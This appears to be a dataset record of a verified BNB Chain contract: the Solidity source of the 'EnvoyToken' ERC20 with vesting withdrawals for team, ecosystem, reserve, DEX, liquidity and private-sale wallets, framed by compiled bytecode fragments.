657175616c206160408201527f646472657373206f6620746f6b656e20746f2067697665000000000000000000606082015260800190565b60208082526022908201527f4552433732313a2063616c6c206d7573742062652061206469726563742063616040820152611b1b60f21b606082015260800190565b60008060006060848603121561272e57600080fd5b835161273981611c48565b602085015190935061274a81611c48565b80925050604084015190509250925092565b6020808252603d908201527f4552433732313a20636f756e74657263616c6c20746172676574206d7573742060408201527f657175616c2061646472657373206f6620746f6b656e20746f20676574000000606082015260800190565b60208082526029908201527f4552433732313a20636f756e74657263616c6c206d75737420626520612064696040820152681c9958dd0818d85b1b60ba1b606082015260800190565b60008219821115612815576128156125b1565b500190565b6000806000806080858703121561283057600080fd5b84516001600160401b038082111561284757600080fd5b612853888389016123f2565b9550602087015191508082111561286957600080fd5b612875888389016124c3565b9450604087015191508082111561288b57600080fd5b61259b88838901612461565b600080600080608085870312156128ad57600080fd5b84516001600160401b03808211156128c457600080fd5b6128d0888389016123f2565b955060208701519150808211156128e657600080fd5b612579888389016124c3565b600081600019048311821515161561290c5761290c6125b1565b500290565b600082821015612923576129236125b1565b50039056fea26469706673582212205f87c4785ebdc99aec401b0397adb84ad0c1e49d3ab38a84ba625edb6b24d37664736f6c634300080b0033
[ 0, 4, 7 ]
0xf1d1a5306daae314af6c5d027a492b313e07e1a0
/** *Submitted for verification at BscScan.com on 2021-10-23 */ pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract EnvoyToken is ERC20 { using SafeMath for uint256; // // ******************* VARIABLES ******************* // // Deploy time uint256 private _deployTime = 1635429600; uint256 private _startTime = 1635933600; // Contract owner address public _ownerWallet; // Public sale - 1M address public _publicSaleWallet; // Team - 20M address public _teamWallet; // Ecosystem - 25M address public _ecosystemWallet; // Reserves - 20M address public _reservesWallet; // DEX - 2M address public _dexWallet; // Liquidity incentives - 7M address public _liqWallet; // Amount of tokens per buyer in private sale - 25M mapping(address => uint256) public _buyerTokens; // Amount of tokens assigned to buyers uint256 public _totalBuyerTokens; // Amount of tokens a wallet has withdrawn already, per type mapping(string => mapping(address => uint256)) public _walletTokensWithdrawn; // // ******************* SETUP ******************* // constructor (string memory name, string memory symbol) public ERC20(name, symbol) { // Set owner wallet _ownerWallet = _msgSender(); // Mint 100M tokens for contract _mint(address(this), 100000000000000000000000000); } // // ******************* WALLETS SETUP ******************* // // Owner can update owner function updateOwner(address owner) external { require(_msgSender() == _ownerWallet, "Only owner can update wallets"); _ownerWallet = owner; } // Update wallets function updateWallets(address publicSale, address team, address ecosystem, address reserves, address dex, address liq) external { require(_msgSender() == _ownerWallet, "Only owner can update wallets"); require(publicSale != address(0), "Should not set zero address"); require(team != address(0), "Should not set zero address"); require(ecosystem != address(0), "Should not set zero address"); require(reserves != address(0), "Should not set zero address"); require(dex != address(0), "Should not set zero address"); require(liq != address(0), "Should not set zero address"); _walletTokensWithdrawn["publicsale"][publicSale] = _walletTokensWithdrawn["publicsale"][_publicSaleWallet]; _walletTokensWithdrawn["team"][team] = _walletTokensWithdrawn["team"][_teamWallet]; _walletTokensWithdrawn["ecosystem"][ecosystem] = _walletTokensWithdrawn["ecosystem"][_ecosystemWallet]; _walletTokensWithdrawn["reserve"][reserves] = _walletTokensWithdrawn["reserve"][_reservesWallet]; _walletTokensWithdrawn["dex"][dex] = _walletTokensWithdrawn["dex"][_dexWallet]; _walletTokensWithdrawn["liq"][liq] = _walletTokensWithdrawn["liq"][_liqWallet]; _publicSaleWallet = publicSale; _teamWallet = team; _ecosystemWallet = ecosystem; _reservesWallet = reserves; _dexWallet = dex; _liqWallet = liq; } // Update buyer tokens function setBuyerTokens(address buyer, uint256 tokenAmount) external { require(_msgSender() == _ownerWallet, "Only owner can set buyer tokens"); // Update total _totalBuyerTokens -= _buyerTokens[buyer]; _totalBuyerTokens += tokenAmount; // Check if enough tokens left, can max assign 25M require(_totalBuyerTokens <= 25000000000000000000000000, "Max amount reached"); // Update map _buyerTokens[buyer] = tokenAmount; } // // ******************* OWNER ******************* // function publicSaleWithdraw(uint256 tokenAmount) external { require(_msgSender() == _publicSaleWallet, "Unauthorized public sale wallet"); uint256 hasWithdrawn = _walletTokensWithdrawn["publicsale"][_msgSender()]; // Total = 1M instant uint256 canWithdraw = 1000000000000000000000000 - hasWithdrawn; require(tokenAmount <= canWithdraw, "Withdraw amount too high"); _walletTokensWithdrawn["publicsale"][_msgSender()] += tokenAmount; _transfer(address(this), _msgSender(), tokenAmount); } function liqWithdraw(uint256 tokenAmount) external { require(_msgSender() == _liqWallet, "Unauthorized liquidity incentives wallet"); // TGE = 40% // Cliff = 1 months = 43800 minutes // Vesting = 6 months 262800 minutes // Total = 20M uint256 canWithdraw = walletCanWithdraw(_msgSender(), "liq", 40, 43800, 262800, 7000000000000000000000000, _deployTime); require(tokenAmount <= canWithdraw, "Withdraw amount too high"); _walletTokensWithdrawn["liq"][_msgSender()] += tokenAmount; _transfer(address(this), _msgSender(), tokenAmount); } function teamWithdraw(uint256 tokenAmount) external { require(_msgSender() == _teamWallet, "Unauthorized team wallet"); // Cliff = 6 months = 262800 minutes // Vesting = 20 months 876001 minutes // Total = 20M uint256 canWithdraw = walletCanWithdraw(_msgSender(), "team", 0, 262800, 876001, 20000000000000000000000000, _deployTime); require(tokenAmount <= canWithdraw, "Withdraw amount too high"); _walletTokensWithdrawn["team"][_msgSender()] += tokenAmount; _transfer(address(this), _msgSender(), tokenAmount); } function ecosystemWithdraw(uint256 tokenAmount) external { require(_msgSender() == _ecosystemWallet, "Unauthorized ecosystem wallet"); // TGE = 5% // Cliff = 1 months = 43800 minutes // Vesting = 19 months = 832201 minutes // Total = 25M uint256 canWithdraw = walletCanWithdraw(_msgSender(), "ecosystem", 5, 43800, 832201, 25000000000000000000000000, _deployTime); require(tokenAmount <= canWithdraw, "Withdraw amount too high"); _walletTokensWithdrawn["ecosystem"][_msgSender()] += tokenAmount; _transfer(address(this), _msgSender(), tokenAmount); } function reservesWithdraw(uint256 tokenAmount) external { require(_msgSender() == _reservesWallet, "Unauthorized reserves wallet"); // Cliff = 6 months = 262800 minutes // Vesting = 20 months = 876001 minutes // Total = 20M uint256 canWithdraw = walletCanWithdraw(_msgSender(), "reserve", 0, 262800, 876001, 20000000000000000000000000, _deployTime); require(tokenAmount <= canWithdraw, "Withdraw amount too high"); _walletTokensWithdrawn["reserve"][_msgSender()] += tokenAmount; _transfer(address(this), _msgSender(), tokenAmount); } function dexWithdraw(uint256 tokenAmount) external { require(_msgSender() == _dexWallet, "Unauthorized dex wallet"); uint256 hasWithdrawn = _walletTokensWithdrawn["dex"][_msgSender()]; // Total = 2M instant uint256 canWithdraw = 2000000000000000000000000 - hasWithdrawn; require(tokenAmount <= canWithdraw, "Withdraw amount too high"); _walletTokensWithdrawn["dex"][_msgSender()] += tokenAmount; _transfer(address(this), _msgSender(), tokenAmount); } function buyerWithdraw(uint256 tokenAmount) external { // TGE = 10% // Cliff = 4 months = 175200 minutes // Vesting = 18 months = 788401 minutes uint256 canWithdraw = walletCanWithdraw(_msgSender(), "privatesale", 10, 175200, 788401, _buyerTokens[_msgSender()], _startTime); require(tokenAmount <= canWithdraw, "Withdraw amount too high"); _walletTokensWithdrawn["privatesale"][_msgSender()] += tokenAmount; _transfer(address(this), _msgSender(), tokenAmount); } // // ******************* UNLOCK CALCULATION ******************* // function walletCanWithdraw(address wallet, string memory walletType, uint256 initialPercentage, uint256 cliffMinutes, uint256 vestingMinutes, uint256 totalTokens, uint256 startTime) public view returns(uint256) { uint256 minutesDiff = (block.timestamp - startTime).div(60); // Tokens already withdrawn uint256 withdrawnTokens = _walletTokensWithdrawn[walletType][wallet]; // Initial tokens uint256 initialTokens = 0; if (initialPercentage != 0) { initialTokens = totalTokens.mul(initialPercentage).div(100); } // Cliff not ended if (minutesDiff < uint256(cliffMinutes)) { return initialTokens - withdrawnTokens; } // Tokens per minute over vesting period uint256 buyerTokensPerMinute = totalTokens.sub(initialTokens).div(vestingMinutes); // Advanced minutes minus cliff uint256 unlockedMinutes = minutesDiff - uint256(cliffMinutes); // Unlocked minutes * tokens per minutes + initial tokens uint256 unlockedTokens = unlockedMinutes.mul(buyerTokensPerMinute).add(initialTokens); // No extra tokens unlocked if (unlockedTokens <= withdrawnTokens) { return 0; } // Check if buyer reached max if (unlockedTokens > totalTokens) { return totalTokens - withdrawnTokens; } // Result return unlockedTokens - withdrawnTokens; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c806373ab79251161010f578063a457c2d7116100a2578063b96190d611610071578063b96190d6146105cd578063bec3fab1146105eb578063d6aedc6d14610609578063dd62ed3e14610625576101f0565b8063a457c2d714610535578063a9059cbb14610565578063b03fd85a14610595578063b620743a146105b1576101f0565b806393d60990116100de57806393d60990146104c157806395d89b41146104dd57806399c26c53146104fb5780639f1161c314610517576101f0565b806373ab79251461043b5780637a0f06e71461046b57806381640a9114610489578063880cdc31146104a5576101f0565b8063313ce567116101875780634c420743116101565780634c420743146103a15780634e5fde97146103bf57806363586f39146103db57806370a082311461040b576101f0565b8063313ce5671461031757806337e294d51461033557806339509351146103535780634825fc0d14610383576101f0565b8063100505b9116101c3578063100505b91461028f57806318160ddd146102ad57806322cb364e146102cb57806323b872dd146102e7576101f0565b806306fdde03146101f557806307562e2914610213578063095ea7b31461022f5780630c790fbe1461025f575b600080fd5b6101fd610655565b60405161020a91906137b9565b60405180910390f35b61022d60048036038101906102289190612e9a565b6106e7565b005b61024960048036038101906102449190612e0a565b6108cf565b604051610256919061379e565b60405180910390f35b61027960048036038101906102749190612e46565b6108ed565b6040516102869190613a1b565b60405180910390f35b610297610928565b6040516102a49190613783565b60405180910390f35b6102b561094e565b6040516102c29190613a1b565b60405180910390f35b6102e560048036038101906102e09190612c7c565b610958565b005b61030160048036038101906102fc9190612d05565b611333565b60405161030e919061379e565b60405180910390f35b61031f61142b565b60405161032c9190613a36565b60405180910390f35b61033d611434565b60405161034a9190613783565b60405180910390f35b61036d60048036038101906103689190612e0a565b61145a565b60405161037a919061379e565b60405180910390f35b61038b611506565b6040516103989190613783565b60405180910390f35b6103a961152c565b6040516103b69190613783565b60405180910390f35b6103d960048036038101906103d49190612e9a565b611552565b005b6103f560048036038101906103f09190612c17565b611739565b6040516104029190613a1b565b60405180910390f35b61042560048036038101906104209190612c17565b611751565b6040516104329190613a1b565b60405180910390f35b61045560048036038101906104509190612d54565b611799565b6040516104629190613a1b565b60405180910390f35b610473611926565b6040516104809190613783565b60405180910390f35b6104a3600480360381019061049e9190612e9a565b61194c565b005b6104bf60048036038101906104ba9190612c17565b611b15565b005b6104db60048036038101906104d69190612e9a565b611bf0565b005b6104e5611dba565b6040516104f291906137b9565b60405180910390f35b61051560048036038101906105109190612e9a565b611e4c565b005b61051f612015565b60405161052c9190613783565b60405180910390f35b61054f600480360381019061054a9190612e0a565b61203b565b60405161055c919061379e565b60405180910390f35b61057f600480360381019061057a9190612e0a565b612126565b60405161058c919061379e565b60405180910390f35b6105af60048036038101906105aa9190612e9a565b612144565b005b6105cb60048036038101906105c69190612e9a565b6122b2565b005b6105d561247c565b6040516105e29190613a1b565b60405180910390f35b6105f3612482565b6040516106009190613783565b60405180910390f35b610623600480360381019061061e9190612e0a565b6124a8565b005b61063f600480360381019061063a9190612c40565b612648565b60405161064c9190613a1b565b60405180910390f35b60606003805461066490613c85565b80601f016020809104026020016040519081016040528092919081815260200182805461069090613c85565b80156106dd5780601f106106b2576101008083540402835291602001916106dd565b820191906000526020600020905b8154815290600101906020018083116106c057829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107286126cf565b73ffffffffffffffffffffffffffffffffffffffff161461077e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610775906139fb565b60405180910390fd5b6000601060405161078e906136f0565b908152602001604051809103902060006107a66126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000816a01a784379d99db420000006107fc9190613bba565b905080831115610841576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610838906138bb565b60405180910390fd5b826010604051610850906136f0565b908152602001604051809103902060006108686126cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108b19190613ad9565b925050819055506108ca306108c46126cf565b856126d7565b505050565b60006108e36108dc6126cf565b8484612958565b6001905092915050565b601082805160208101820180518482526020830160208501208183528095505050505050602052806000526040600020600091509150505481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109996126cf565b73ffffffffffffffffffffffffffffffffffffffff16146109ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e6906139bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a56906138fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac6906138fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906138fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba6906138fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906138fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c86906138fb565b60405180910390fd5b6010604051610c9d9061371a565b90815260200160405180910390206000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010604051610d199061371a565b908152602001604051809103902060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506010604051610d7690613759565b90815260200160405180910390206000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010604051610df290613759565b908152602001604051809103902060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506010604051610e4f90613744565b90815260200160405180910390206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010604051610ecb90613744565b908152602001604051809103902060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506010604051610f289061376e565b90815260200160405180910390206000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010604051610fa49061376e565b908152602001604051809103902060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506010604051611001906136f0565b90815260200160405180910390206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601060405161107d906136f0565b908152602001604051809103902060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060106040516110da90613705565b90815260200160405180910390206000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601060405161115690613705565b908152602001604051809103902060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505050565b60006113408484846126d7565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff